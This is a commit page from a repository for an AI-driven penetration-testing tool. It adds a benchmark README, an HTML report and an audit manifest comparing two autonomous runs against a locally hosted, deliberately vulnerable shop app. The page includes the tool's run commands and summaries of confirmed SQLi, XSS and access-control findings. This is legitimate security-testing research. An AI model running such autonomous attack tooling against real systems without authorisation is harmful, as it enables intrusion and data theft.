mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-09-30 21:19:49 +02:00
release: v4.1.0 — assurance layer, TypeSafe, hardening + benchmark
Version bumped to 4.1.0 across the workspace, binaries, web console and Typst template. README: new "New in v4.1.0" summary; trimmed the verbose highlight bullets and the TypeSafe section; removed the anti-plagiarism/provenance section (provenance stays in the code, just not front-and-centre in the README); TypeSafe promoted to its own top-level section; agent count 446. TUTORIAL: new section 17 "Assurance & authorization" covering the target gate, --scope-file, evidence-graded CVSS, audit anchoring + assurance bundle, sandbox, intercept proxy, PoC re-validation, compliance mapping, TypeSafe, and the internal/AD graph + budget governor. benchmarks/typesafe-2026-09-20/: the with/without TypeSafe measurement — report.html, scorer, both runs' findings/assurance/meta/logs, and a README. No secrets committed (env-only during the runs, verified clean). 381 tests. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
CyberSecurityUPandClaude Opus 5 committed
1 parent
d2ec0a112d
commit
088d133c80
28 files changed
+4292
-126
No files matched your search
@@ -0,0 +1,83 @@
|
||||
# NeuroSploit × TypeSafe — benchmark (2026-09-20)
|
||||
|
||||
Two identical NeuroSploit engagements against the same vulnerable target — one
|
||||
plain, one with **TypeSafe System One (Jev)** as a calibrated confirmation
|
||||
layer. Same model, same focus, same 13 seeded vulnerabilities. Only the
|
||||
`--typesafe` flag differs.
|
||||
|
||||
Open **`report.html`** for the full visual write-up.
|
||||
|
||||
## Setup
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Harness | NeuroSploit v4.0.0 |
|
||||
| Model | `claude-opus-4-8` (subscription) |
|
||||
| Target | NimbusCart / BenchMarkBurpAT · `http://localhost:3000` |
|
||||
| Mode | black-box, `--recon 2`, `--vote-n 1`, `--max-agents 15` |
|
||||
| Ground truth | 13 seeded scenarios (IDOR/BOLA, SQLi ×5, XSS ×4, open redirect, CRLF) |
|
||||
| Solver | none — the LLM discovered and confirmed everything live |
|
||||
|
||||
Run commands (the only difference is `--typesafe`):
|
||||
|
||||
```bash
|
||||
# A — no TypeSafe
|
||||
NEUROSPLOIT_TYPESAFE=off neurosploit run http://localhost:3000 \
|
||||
--subscription --model anthropic:claude-opus-4-8 \
|
||||
--typesafe off --recon 2 --max-agents 15 --vote-n 1 --focus "<13 endpoints>" -v
|
||||
|
||||
# B — with TypeSafe (TYPESAFE_API_KEY set in env, never committed)
|
||||
NEUROSPLOIT_TYPESAFE=on neurosploit run http://localhost:3000 \
|
||||
--subscription --model anthropic:claude-opus-4-8 \
|
||||
--typesafe on --recon 2 --max-agents 15 --vote-n 1 --focus "<13 endpoints>" -v
|
||||
```
|
||||
|
||||
## Result
|
||||
|
||||
| Metric | A — no TypeSafe | B — TypeSafe |
|
||||
|---|---|---|
|
||||
| Targets hit | **10 / 13** | 9 / 13 |
|
||||
| Findings | 16 | **18** |
|
||||
| Wall-clock | 32m 12s | **26m 53s** |
|
||||
| Criticals | 5 | 2 (recalibrated) |
|
||||
| Belief-gate holds (POMDP) | 3 | — |
|
||||
| Assurance P1–P5 | all present | all present |
|
||||
| Model cost | $0 (subscription) | $0 + TypeSafe ≪ $5 |
|
||||
|
||||
Union coverage (both runs): **11 / 13**. Neither reached `web_sqli_second_order`
|
||||
or `web_crlf_header_go`.
|
||||
|
||||
## Reading it honestly
|
||||
|
||||
- **Recall is a tie** — 10 vs 9 is within run-to-run variance at `vote-n 1`.
|
||||
TypeSafe is a judgment layer, not a recall multiplier.
|
||||
- **B surfaced 2 real net-new findings** the plain run missed (`config.json`
|
||||
API-key exposure CWE-200, no-lockout brute force CWE-307) and caught
|
||||
`web_idor_invoice`.
|
||||
- **TypeSafe recalibrated severity** — 5 class-inflated Criticals → 2 evidence-
|
||||
backed ones. On this target it *under-rated* one genuine critical (the BOLA
|
||||
credential dump: A = Critical 9.1, B = Low). Calibration is a dial toward
|
||||
defensibility, not a correctness oracle.
|
||||
- **Harness gap found & fixed**: an earlier B collapsed to 0 findings when the
|
||||
subscription hit a session limit mid-run — NeuroSploit treated the limit
|
||||
message as a normal (exit-0) response and burned every agent. Now the
|
||||
session-limit sentinel parks the run (`fix(models)`).
|
||||
|
||||
## Confounders
|
||||
|
||||
Single samples, not averages. `vote-n 1` = no cross-model agreement in either
|
||||
arm. Recall scored by class + endpoint-keyword match (coverage, not graded
|
||||
proof). One target. Treat as one honest data point, not a leaderboard.
|
||||
|
||||
## Files
|
||||
|
||||
```
|
||||
report.html the visual write-up
|
||||
score.py the scorer (class + endpoint keyword match vs the 13 targets)
|
||||
scores.txt scorer output for both runs
|
||||
run_a_no_typesafe/ findings.json · assurance.json · meta.json · report.html · run.log
|
||||
run_b_typesafe/ findings.json · assurance.json · meta.json · report.html · run.log
|
||||
```
|
||||
|
||||
The TypeSafe API key and any subscription tokens are **not** in these files
|
||||
(env-only during the runs; verified clean before commit).
|
||||
@@ -0,0 +1,282 @@
|
||||
<title>NeuroSploit × TypeSafe Benchmark</title>
|
||||
<meta name="description" content="Head-to-head of NeuroSploit against a vulnerable target, with and without TypeSafe System One as a confirmation layer.">
|
||||
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=IBM+Plex+Sans:wght@400;500;600&family=IBM+Plex+Mono:wght@400;500;600&family=Chivo:wght@600;700;800&display=swap">
|
||||
<style>
|
||||
:root{
|
||||
--ground:#f4f2f7; --surface:#ffffff; --surface-2:#eceaf3; --line:#ddd8e8;
|
||||
--ink:#1a1726; --muted:#6b6580; --faint:#938da6;
|
||||
--accent:#6d4bd8; /* neuro violet */
|
||||
--a:#c2701c; /* run A — amber (no typesafe) */
|
||||
--b:#0e8f86; /* run B — teal (typesafe) */
|
||||
--crit:#c8324a; --high:#d9743a; --med:#c2a01c; --low:#4a76c4; --info:#7b7590; --good:#1f9d68;
|
||||
--shadow:0 1px 2px rgba(26,23,38,.06),0 6px 20px rgba(26,23,38,.06);
|
||||
/* severity — vivid, identical in both themes (severity is not theme-relative) */
|
||||
--sev-crit:#e5484d; --sev-high:#f76b15; --sev-med:#f5b301; --sev-low:#3e7bfa; --sev-info:#8b8698;
|
||||
}
|
||||
:root:not([data-theme="light"]){ @media (prefers-color-scheme:dark){
|
||||
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
|
||||
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
|
||||
--accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6;
|
||||
--crit:#f26d7d; --high:#f0965e; --med:#e6cd52; --low:#7aa6f0; --info:#9a93b4; --good:#5ee0a0;
|
||||
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
|
||||
}}
|
||||
:root[data-theme="dark"]{
|
||||
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
|
||||
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
|
||||
--accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6;
|
||||
--crit:#f26d7d; --high:#f0965e; --med:#e6cd52; --low:#7aa6f0; --info:#9a93b4; --good:#5ee0a0;
|
||||
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
|
||||
}
|
||||
*{box-sizing:border-box}
|
||||
body{background:var(--ground);color:var(--ink);font-family:"IBM Plex Sans",system-ui,sans-serif;line-height:1.55;
|
||||
-webkit-font-smoothing:antialiased;margin:0}
|
||||
.wrap{max-width:1000px;margin:0 auto;padding:clamp(24px,5vw,64px) clamp(18px,4vw,40px)}
|
||||
h1,h2,h3{font-family:"Chivo","IBM Plex Sans",sans-serif;text-wrap:balance;line-height:1.1;margin:0}
|
||||
code,.mono,.num{font-family:"IBM Plex Mono",ui-monospace,monospace;font-variant-numeric:tabular-nums}
|
||||
.eyebrow{font-family:"IBM Plex Mono",monospace;font-size:12px;letter-spacing:.18em;text-transform:uppercase;color:var(--accent);font-weight:600}
|
||||
|
||||
/* header */
|
||||
header{border-bottom:1px solid var(--line);padding-bottom:28px;margin-bottom:36px}
|
||||
h1{font-size:clamp(30px,5.5vw,50px);font-weight:800;margin:10px 0 8px;letter-spacing:-.02em}
|
||||
.sub{color:var(--muted);font-size:16px;max-width:64ch}
|
||||
.meta{display:flex;flex-wrap:wrap;gap:8px 18px;margin-top:18px;font-family:"IBM Plex Mono",monospace;font-size:12.5px;color:var(--faint)}
|
||||
.meta b{color:var(--ink);font-weight:500}
|
||||
|
||||
/* thesis tiles */
|
||||
.thesis{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:14px;margin:34px 0}
|
||||
.tile{background:var(--surface);border:1px solid var(--line);border-radius:12px;padding:18px 18px 16px;box-shadow:var(--shadow)}
|
||||
.tile .k{font-family:"IBM Plex Mono",monospace;font-size:11px;letter-spacing:.1em;text-transform:uppercase;color:var(--faint)}
|
||||
.tile .v{font-family:"Chivo",sans-serif;font-weight:800;font-size:30px;letter-spacing:-.02em;margin-top:6px;display:flex;align-items:baseline;gap:8px}
|
||||
.tile .u{font-size:13px;font-weight:500;color:var(--muted);font-family:"IBM Plex Sans"}
|
||||
.tile .note{font-size:12.5px;color:var(--muted);margin-top:4px}
|
||||
.swatchA{color:var(--a)} .swatchB{color:var(--b)}
|
||||
|
||||
section{margin:44px 0}
|
||||
h2{font-size:22px;font-weight:700;margin-bottom:4px}
|
||||
.lead{color:var(--muted);font-size:15px;margin:6px 0 20px;max-width:70ch}
|
||||
|
||||
/* comparison table */
|
||||
.cmp{width:100%;border-collapse:collapse;font-size:14.5px;background:var(--surface);border:1px solid var(--line);border-radius:12px;overflow:hidden;box-shadow:var(--shadow)}
|
||||
.cmp th,.cmp td{padding:12px 16px;text-align:left;border-bottom:1px solid var(--line)}
|
||||
.cmp thead th{font-family:"IBM Plex Mono",monospace;font-size:11.5px;letter-spacing:.08em;text-transform:uppercase;color:var(--faint);font-weight:600;background:var(--surface-2)}
|
||||
.cmp tbody tr:last-child td{border-bottom:none}
|
||||
.cmp td.metric{color:var(--muted)}
|
||||
.cmp td .num{font-weight:600;font-size:15px}
|
||||
.colA{color:var(--a)} .colB{color:var(--b)}
|
||||
.win{position:relative}
|
||||
.win::after{content:"▲";font-size:9px;margin-left:6px;vertical-align:middle;color:var(--good)}
|
||||
|
||||
/* per-scenario grid */
|
||||
.scen{display:grid;grid-template-columns:1fr auto auto;gap:0;background:var(--surface);border:1px solid var(--line);border-radius:12px;overflow:hidden;box-shadow:var(--shadow)}
|
||||
.scen .row{display:contents}
|
||||
.scen .cell{padding:10px 16px;border-bottom:1px solid var(--line);display:flex;align-items:center;gap:10px}
|
||||
.scen .row:last-child .cell{border-bottom:none}
|
||||
.scen .head .cell{font-family:"IBM Plex Mono",monospace;font-size:11px;letter-spacing:.08em;text-transform:uppercase;color:var(--faint);background:var(--surface-2);font-weight:600}
|
||||
.scen .idc{font-family:"IBM Plex Mono",monospace;font-size:13px}
|
||||
.scen .cls{font-size:11px;color:var(--faint);font-family:"IBM Plex Mono";margin-left:auto;padding-left:10px}
|
||||
.mk{width:60px;justify-content:center;font-family:"IBM Plex Mono";font-size:13px;font-weight:600}
|
||||
.hit{color:var(--good)} .miss{color:var(--crit);opacity:.7}
|
||||
.hdrA{color:var(--a)} .hdrB{color:var(--b)}
|
||||
|
||||
/* severity bars */
|
||||
.sev-wrap{display:grid;grid-template-columns:1fr 1fr;gap:18px}
|
||||
@media(max-width:640px){.sev-wrap{grid-template-columns:1fr}}
|
||||
.sevcard{background:var(--surface);border:1px solid var(--line);border-radius:12px;padding:18px;box-shadow:var(--shadow)}
|
||||
.sevcard h3{font-size:14px;font-family:"IBM Plex Mono";letter-spacing:.05em;margin-bottom:14px;display:flex;align-items:center;gap:8px}
|
||||
.dot{width:9px;height:9px;border-radius:50%;display:inline-block}
|
||||
.bar{display:flex;align-items:center;gap:12px;margin:9px 0;font-size:13px}
|
||||
.bar .lab{width:70px;color:var(--muted);font-family:"IBM Plex Mono";font-size:11.5px;display:flex;align-items:center;gap:7px}
|
||||
.bar .lab .sw{width:9px;height:9px;border-radius:2px;flex:none}
|
||||
.bar .track{flex:1;height:22px;background:var(--surface-2);border-radius:5px;overflow:hidden;border:1px solid var(--line)}
|
||||
.bar .fill{height:100%;border-radius:4px;min-width:6px;box-shadow:inset 0 0 0 1px rgba(255,255,255,.08)}
|
||||
.bar .n{width:22px;text-align:right;font-family:"IBM Plex Mono";font-weight:700;font-size:14px}
|
||||
.sev-legend{display:flex;flex-wrap:wrap;gap:14px;margin:0 0 18px;font-family:"IBM Plex Mono";font-size:11.5px;color:var(--muted)}
|
||||
.sev-legend span{display:inline-flex;align-items:center;gap:6px}
|
||||
.sev-legend i{width:11px;height:11px;border-radius:3px;display:inline-block}
|
||||
|
||||
/* callout */
|
||||
.callout{background:var(--surface);border:1px solid var(--line);border-left:3px solid var(--accent);border-radius:10px;padding:20px 22px;box-shadow:var(--shadow)}
|
||||
.callout h3{font-size:16px;margin-bottom:10px}
|
||||
.callout p{margin:8px 0;font-size:14.5px;color:var(--ink)}
|
||||
.callout .contrast{display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-top:14px}
|
||||
@media(max-width:560px){.callout .contrast{grid-template-columns:1fr}}
|
||||
.cbox{background:var(--surface-2);border-radius:8px;padding:12px 14px}
|
||||
.cbox .t{font-family:"IBM Plex Mono";font-size:11px;text-transform:uppercase;letter-spacing:.08em;margin-bottom:6px}
|
||||
.cbox .r{font-size:13px;color:var(--muted)}
|
||||
.cbox .g{font-size:20px;font-family:"Chivo";font-weight:800;margin-top:4px}
|
||||
|
||||
ul.take{list-style:none;padding:0;margin:0;display:flex;flex-direction:column;gap:12px}
|
||||
ul.take li{background:var(--surface);border:1px solid var(--line);border-radius:10px;padding:14px 16px;font-size:14.5px;display:flex;gap:12px;box-shadow:var(--shadow)}
|
||||
ul.take .tag{font-family:"IBM Plex Mono";font-size:10.5px;font-weight:600;letter-spacing:.06em;padding:3px 8px;border-radius:5px;height:fit-content;white-space:nowrap;text-transform:uppercase}
|
||||
.tag.even{background:color-mix(in srgb,var(--info) 22%,transparent);color:var(--info)}
|
||||
.tag.plus{background:color-mix(in srgb,var(--good) 20%,transparent);color:var(--good)}
|
||||
.tag.minus{background:color-mix(in srgb,var(--crit) 18%,transparent);color:var(--crit)}
|
||||
.tag.note{background:color-mix(in srgb,var(--accent) 18%,transparent);color:var(--accent)}
|
||||
|
||||
.disclaim{margin-top:44px;padding-top:22px;border-top:1px solid var(--line);color:var(--faint);font-size:12.5px;line-height:1.6}
|
||||
.disclaim b{color:var(--muted)}
|
||||
a{color:var(--accent)}
|
||||
</style>
|
||||
|
||||
<div class="wrap">
|
||||
<header>
|
||||
<div class="eyebrow">NeuroSploit · assurance benchmark · 2026-09-20</div>
|
||||
<h1>Does TypeSafe make the run better?</h1>
|
||||
<p class="sub">Two identical NeuroSploit engagements against the same vulnerable target — one plain,
|
||||
one with TypeSafe System One (Jev) as a calibrated confirmation layer. Same model, same focus,
|
||||
same 13 seeded vulnerabilities. Only the <code>--typesafe</code> flag differs.</p>
|
||||
<div class="meta">
|
||||
<span>target <b>NimbusCart (BenchMarkBurpAT)</b> · localhost:3000</span>
|
||||
<span>model <b>claude-opus-4-8</b> (subscription)</span>
|
||||
<span>recon <b>2</b> · vote-n <b>1</b> · max-agents <b>15</b></span>
|
||||
<span>ground truth <b>13 targets</b></span>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="thesis">
|
||||
<div class="tile">
|
||||
<div class="k">Recall — no TypeSafe</div>
|
||||
<div class="v swatchA">10<span class="u">/13</span></div>
|
||||
<div class="note">16 findings · 32m12s</div>
|
||||
</div>
|
||||
<div class="tile">
|
||||
<div class="k">Recall — with TypeSafe</div>
|
||||
<div class="v swatchB">9<span class="u">/13</span></div>
|
||||
<div class="note">18 findings · 26m53s</div>
|
||||
</div>
|
||||
<div class="tile">
|
||||
<div class="k">Union coverage</div>
|
||||
<div class="v">11<span class="u">/13</span></div>
|
||||
<div class="note">the two runs together</div>
|
||||
</div>
|
||||
<div class="tile">
|
||||
<div class="k">TypeSafe recalibrated</div>
|
||||
<div class="v swatchB">9</div>
|
||||
<div class="note">findings, calibrated confidence</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<section>
|
||||
<h2>Head to head</h2>
|
||||
<p class="lead">The recall is a tie inside the noise; the real difference is <em>shape</em>. TypeSafe was
|
||||
faster, surfaced two real findings the plain run missed, and pulled inflated severities down toward what the
|
||||
evidence actually demonstrated — at the cost of being conservative enough to drop two scenarios and under-rate
|
||||
one genuine critical.</p>
|
||||
<div style="overflow-x:auto">
|
||||
<table class="cmp">
|
||||
<thead><tr><th>Metric</th><th class="colA">A — no TypeSafe</th><th class="colB">B — TypeSafe</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td class="metric">Seeded targets hit</td><td class="colA win"><span class="num">10 / 13</span></td><td class="colB"><span class="num">9 / 13</span></td></tr>
|
||||
<tr><td class="metric">Total findings reported</td><td class="colA"><span class="num">16</span></td><td class="colB win"><span class="num">18</span></td></tr>
|
||||
<tr><td class="metric">Findings beyond the 13 targets</td><td class="colA"><span class="num">6</span></td><td class="colB win"><span class="num">9</span> <span style="color:var(--muted);font-size:12px">(2 real: config leak, no-lockout)</span></td></tr>
|
||||
<tr><td class="metric">Wall-clock time</td><td class="colA"><span class="num">32m 12s</span></td><td class="colB win"><span class="num">26m 53s</span></td></tr>
|
||||
<tr><td class="metric">Criticals reported</td><td class="colA"><span class="num">5</span></td><td class="colB"><span class="num">2</span> <span style="color:var(--muted);font-size:12px">(recalibrated)</span></td></tr>
|
||||
<tr><td class="metric">Belief-gate holds (POMDP)</td><td class="colA"><span class="num">3</span></td><td class="colB"><span class="num">—</span></td></tr>
|
||||
<tr><td class="metric">Assurance P1–P5</td><td class="colA"><span class="num">all present</span></td><td class="colB"><span class="num">all present</span></td></tr>
|
||||
<tr><td class="metric">Model API cost</td><td class="colA"><span class="num">$0</span> subscription</td><td class="colB"><span class="num">$0</span> + TypeSafe ≪ $5</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2>Per-scenario coverage</h2>
|
||||
<p class="lead">Each seeded vulnerability, and whether each run confirmed it. Neither run reached the
|
||||
second-order SQLi or the CRLF header injection — the two that need a multi-step chain the single-vote
|
||||
config didn't pursue.</p>
|
||||
<div class="scen">
|
||||
<div class="row head">
|
||||
<div class="cell">Scenario</div>
|
||||
<div class="cell mk hdrA">A</div>
|
||||
<div class="cell mk hdrB">B·TS</div>
|
||||
</div>
|
||||
<!-- rows -->
|
||||
<div class="row"><div class="cell"><span class="idc">web_sqli_login_bypass</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_sqli_union_search</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk miss">✕</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_sqli_blind_boolean</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_sqli_blind_time</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk miss">✕</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_sqli_second_order</span><span class="cls">SQLi</span></div><div class="cell mk miss">✕</div><div class="cell mk miss">✕</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_xss_reflected_search</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_xss_stored_review</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_xss_svg_upload</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_xss_dom_redirect</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_idor_invoice</span><span class="cls">IDOR</span></div><div class="cell mk miss">✕</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">api_bola_orders</span><span class="cls">BOLA</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_open_redirect_login</span><span class="cls">Redirect</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||
<div class="row"><div class="cell"><span class="idc">web_crlf_header_go</span><span class="cls">CRLF</span></div><div class="cell mk miss">✕</div><div class="cell mk miss">✕</div></div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2>Severity shape</h2>
|
||||
<p class="lead">The clearest effect of TypeSafe: the severity distribution flattens. The plain run stacks
|
||||
five Criticals; the calibrated run keeps two and pushes the rest down to where the demonstrated-impact
|
||||
evidence puts them.</p>
|
||||
<div class="sev-legend"><span><i style="background:#e5484d"></i>Critical</span><span><i style="background:#f76b15"></i>High</span><span><i style="background:#f5b301"></i>Medium</span><span><i style="background:#3e7bfa"></i>Low</span><span><i style="background:#8b8698"></i>Info</span></div>
|
||||
<div class="sev-wrap">
|
||||
<div class="sevcard">
|
||||
<h3 class="swatchA"><span class="dot" style="background:var(--a)"></span> A — no TypeSafe · 16</h3>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#e5484d"></i>Critical</span><span class="track"><span class="fill" style="width:100%;background:#e5484d"></span></span><span class="n" style="color:#e5484d">5</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#f76b15"></i>High</span><span class="track"><span class="fill" style="width:80%;background:#f76b15"></span></span><span class="n" style="color:#f76b15">4</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#f5b301"></i>Medium</span><span class="track"><span class="fill" style="width:20%;background:#f5b301"></span></span><span class="n" style="color:#f5b301">1</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#3e7bfa"></i>Low</span><span class="track"><span class="fill" style="width:40%;background:#3e7bfa"></span></span><span class="n" style="color:#3e7bfa">2</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#8b8698"></i>Info</span><span class="track"><span class="fill" style="width:80%;background:#8b8698"></span></span><span class="n" style="color:#8b8698">4</span></div>
|
||||
</div>
|
||||
<div class="sevcard">
|
||||
<h3 class="swatchB"><span class="dot" style="background:var(--b)"></span> B — TypeSafe · 18</h3>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#e5484d"></i>Critical</span><span class="track"><span class="fill" style="width:40%;background:#e5484d"></span></span><span class="n" style="color:#e5484d">2</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#f76b15"></i>High</span><span class="track"><span class="fill" style="width:80%;background:#f76b15"></span></span><span class="n" style="color:#f76b15">4</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#f5b301"></i>Medium</span><span class="track"><span class="fill" style="width:60%;background:#f5b301"></span></span><span class="n" style="color:#f5b301">3</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#3e7bfa"></i>Low</span><span class="track"><span class="fill" style="width:80%;background:#3e7bfa"></span></span><span class="n" style="color:#3e7bfa">4</span></div>
|
||||
<div class="bar"><span class="lab"><i class="sw" style="background:#8b8698"></i>Info</span><span class="track"><span class="fill" style="width:100%;background:#8b8698"></span></span><span class="n" style="color:#8b8698">5</span></div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2>What calibration actually did</h2>
|
||||
<div class="callout">
|
||||
<h3>The same BOLA, two severities</h3>
|
||||
<p>Both runs found the object-level auth flaw on <code>GET /api/v2/users/:id</code> — a customer token
|
||||
reads any user's full record, including the admin's plaintext password. The plain run rated it
|
||||
<b>Critical (9.1)</b> on the class. TypeSafe, grading against the demonstrated-impact receipts and its
|
||||
calibrated judgment, rated it <b>Low</b>.</p>
|
||||
<div class="contrast">
|
||||
<div class="cbox"><div class="t swatchA">A — class-graded</div><div class="g swatchA">Critical 9.1</div><div class="r">BOLA + excessive data exposure</div></div>
|
||||
<div class="cbox"><div class="t swatchB">B — evidence-graded</div><div class="g swatchB">Low</div><div class="r">same finding, impact receipts weighted</div></div>
|
||||
</div>
|
||||
<p style="margin-top:14px"><b>Why it fired:</b> the severity is graded from the <em>structured</em> evidence
|
||||
slot (the recorded request/response exchange), not the agent's prose. This finding proved the dump in its
|
||||
narrative and claims ledger but left <code>evidence_data</code> null — so the demonstrated-impact rung saw no
|
||||
machine-readable C/I/A receipt, and the calibrated grader dropped the impact metrics to <code>None</code>,
|
||||
collapsing 9.1 → Low. The proof existed; it just wasn't in the slot the grader reads.</p>
|
||||
<p>This is the honest edge: calibration removes inflated Criticals (good — most scanners over-rate by class),
|
||||
but a receipt in the wrong slot gets under-rated. It is a dial toward defensibility, not a correctness
|
||||
oracle — the operator still owns the final severity, and the fix is to make agents populate
|
||||
<code>evidence_data</code> for impact, not to loosen the grader.</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2>Takeaways</h2>
|
||||
<ul class="take">
|
||||
<li><span class="tag even">tie</span><div><b>Recall is a wash.</b> 10 vs 9 of 13 is within run-to-run variance at vote-n 1. TypeSafe is not a recall multiplier — it is a judgment layer.</div></li>
|
||||
<li><span class="tag plus">gain</span><div><b>Two real net-new findings.</b> The TypeSafe run surfaced a <code>config.json</code> API-key exposure (CWE-200) and a no-lockout brute-force (CWE-307) the plain run never reported — and it caught <code>web_idor_invoice</code>, which the plain run missed.</div></li>
|
||||
<li><span class="tag plus">gain</span><div><b>Faster and calibrated.</b> 5m19s quicker, and it recalibrated 9 findings' confidence — collapsing five class-inflated Criticals to two evidence-backed ones.</div></li>
|
||||
<li><span class="tag minus">cost</span><div><b>Conservatism has a price.</b> It dropped <code>union_search</code> and <code>blind_time</code>, and under-rated the credential-dump BOLA. A confirmation layer that demands receipts will sometimes discard a real thing it couldn't re-prove in-budget.</div></li>
|
||||
<li><span class="tag note">cheap</span><div><b>Negligible cost.</b> TypeSafe adds no LLM tokens of its own — one probe call billed 319 in / 21 out. The whole run stayed far under the $5 budget.</div></li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<div class="disclaim">
|
||||
<b>Method & honesty.</b> Both runs: NeuroSploit v4.0.0, <code>claude-opus-4-8</code> via subscription,
|
||||
black-box, recon intensity 2, single-model vote (<code>vote-n 1</code>), same natural-language focus naming
|
||||
the 13 endpoints, no pre-baked solver — the LLM discovered and confirmed everything live. Recall is scored by
|
||||
class + endpoint keyword match against the target's ground-truth list, so a match is coverage, not a graded
|
||||
proof. <b>Confounders:</b> the two runs are single samples, not averages; an earlier TypeSafe run collapsed to
|
||||
zero when the subscription hit a session limit mid-run (a real harness gap, since fixed — session-limit stdout
|
||||
now parks the run instead of burning agents); vote-n 1 means no cross-model agreement in either arm. Treat this
|
||||
as one honest data point on one target, not a leaderboard. <b>Not measured here:</b> multi-sample variance,
|
||||
higher vote-n, and TypeSafe's agent-pruning effect on a broader agent set.
|
||||
</div>
|
||||
</div>
|
||||
@@ -0,0 +1,122 @@
|
||||
{
|
||||
"engine": "neurosploit",
|
||||
"version": "4.0.0",
|
||||
"build": "49d3d3ceb1df",
|
||||
"run": "ns-1789853137-localhost_3000",
|
||||
"target": "http://localhost:3000",
|
||||
"generated": 1789855069,
|
||||
"findings": 16,
|
||||
"artifacts": [
|
||||
{
|
||||
"name": "findings.json",
|
||||
"present": true,
|
||||
"sha256": "61ed87d0036ae5b2dd61ffd2c9ead34e11076f1cfbb8570f7554c072f3a76cb9",
|
||||
"bytes": 91029,
|
||||
"role": "the findings, each stamped with the engine build (P5)"
|
||||
},
|
||||
{
|
||||
"name": "report.html",
|
||||
"present": false,
|
||||
"bytes": 0,
|
||||
"role": "the human report"
|
||||
},
|
||||
{
|
||||
"name": "recon.json",
|
||||
"present": true,
|
||||
"sha256": "8f5110c6d65cac10c4c04a8deacaf4cacbc8c8d320d18ed6cee236a7e61fe104",
|
||||
"bytes": 15141,
|
||||
"role": "reconnaissance facts"
|
||||
},
|
||||
{
|
||||
"name": "audit.jsonl",
|
||||
"present": true,
|
||||
"sha256": "c6f63d9c2e70f59b05120a732ce157e23606ff388f232d31299545521818135b",
|
||||
"bytes": 19254,
|
||||
"role": "hash-chained decision log — every ALLOW/DENY (P1/P2/P4)"
|
||||
},
|
||||
{
|
||||
"name": "audit.jsonl.anchors",
|
||||
"present": true,
|
||||
"sha256": "3b014612736ca9110c6342e61892286620ba2db605f82d278bec4de732e4bd1f",
|
||||
"bytes": 213,
|
||||
"role": "external anchors of the audit chain (P4)"
|
||||
},
|
||||
{
|
||||
"name": "provenance.json",
|
||||
"present": true,
|
||||
"sha256": "c33f47d22ff52d82db3077f0eecceb105f73fb0f8cfe6f057c77a4696ddd1e4a",
|
||||
"bytes": 297,
|
||||
"role": "signed provenance manifest — build + structural signature (P5)"
|
||||
},
|
||||
{
|
||||
"name": "out-of-scope-findings.json",
|
||||
"present": true,
|
||||
"sha256": "425df6ff6ac515da2b36f1bf4582d9acd8599e8c4e586e8dadc99b5601a06752",
|
||||
"bytes": 17615,
|
||||
"role": "findings quarantined for being outside scope (P2)"
|
||||
},
|
||||
{
|
||||
"name": "flows.jsonl",
|
||||
"present": false,
|
||||
"bytes": 0,
|
||||
"role": "intercepted request/response flows"
|
||||
},
|
||||
{
|
||||
"name": "meta.json",
|
||||
"present": true,
